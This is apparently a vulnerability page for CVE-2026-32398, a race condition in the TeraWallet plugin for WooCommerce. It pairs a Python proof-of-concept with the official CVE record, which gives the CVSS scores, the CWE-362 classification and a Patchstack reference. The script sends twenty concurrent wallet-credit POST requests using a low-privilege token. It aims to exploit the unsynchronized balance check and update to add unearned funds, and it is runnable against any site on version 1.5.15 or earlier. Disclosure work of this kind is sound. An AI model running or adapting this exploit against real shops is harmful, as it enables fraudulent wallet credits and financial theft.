CVE-2026-32398

# CVE-2026-32398 PoC - Race Condition in TeraWallet WooCommerce # This PoC demonstrates concurrent requests to exploit race condition import requests import concurrent.futures import json TARGET_URL = "https://vulnerable-site.com/wp-json/woo-wallet/v1/credit" AUTH_TOKEN = "your_auth_token_here" # Low-privilege user token headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } def credit_request(session_id): """Send a wallet credit request""" payload = { "amount": 100, "user_id": 1, "note": f"Race condition test - session {session_id}" } try: response = requests.post( TARGET_URL, headers=headers, json=payload, timeout=10 ) return { "session_id": session_id, "status_code": response.status_code, "response": response.json() if response.text else None } except Exception as e: return {"session_id": session_id, "error": str(e)} def exploit_race_condition(num_requests=10): """ Launch concurrent requests to exploit race condition The goal is to trigger timing window where balance check and balance update are not properly synchronized """ print(f"[*] Launching {num_requests} concurrent requests...") with concurrent.futures.ThreadPoolExecutor(max_workers=num_requests) as executor: futures = [executor.submit(credit_request, i) for i in range(num_requests)] results = [f.result() for f in concurrent.futures.as_completed(futures)] print("[*] Results:") for result in results: print(json.dumps(result, indent=2)) return results if __name__ == "__main__": print("CVE-2026-32398 - TeraWallet Race Condition PoC") print("Target: WooCommerce TeraWallet Plugin <= 1.5.15") exploit_race_condition(num_requests=20)

{"cve": {"id": "CVE-2026-32398", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:55.640", "lastModified": "2026-04-29T10:17:05.483", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in Subrata Mal TeraWallet – For WooCommerce woo-wallet allows Leveraging Race Conditions.This issue affects TeraWallet – For WooCommerce: from n/a through <= 1.5.15."}, {"lang": "es", "value": "Vulnerabilidad de ejecución concurrente utilizando un recurso compartido con sincronización inadecuada (condición de carrera) en Subrata Mal TeraWallet – For WooCommerce woo-wallet permite el aprovechamiento de condiciones de carrera. Este problema afecta a TeraWallet – For WooCommerce: desde n/a hasta &lt;= 1.5.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-wallet/vulnerability/wordpress-terawallet-for-woocommerce-plugin-1-5-15-race-condition-vulnerability?_s_id=cve", "source": "[email protected]"}]}}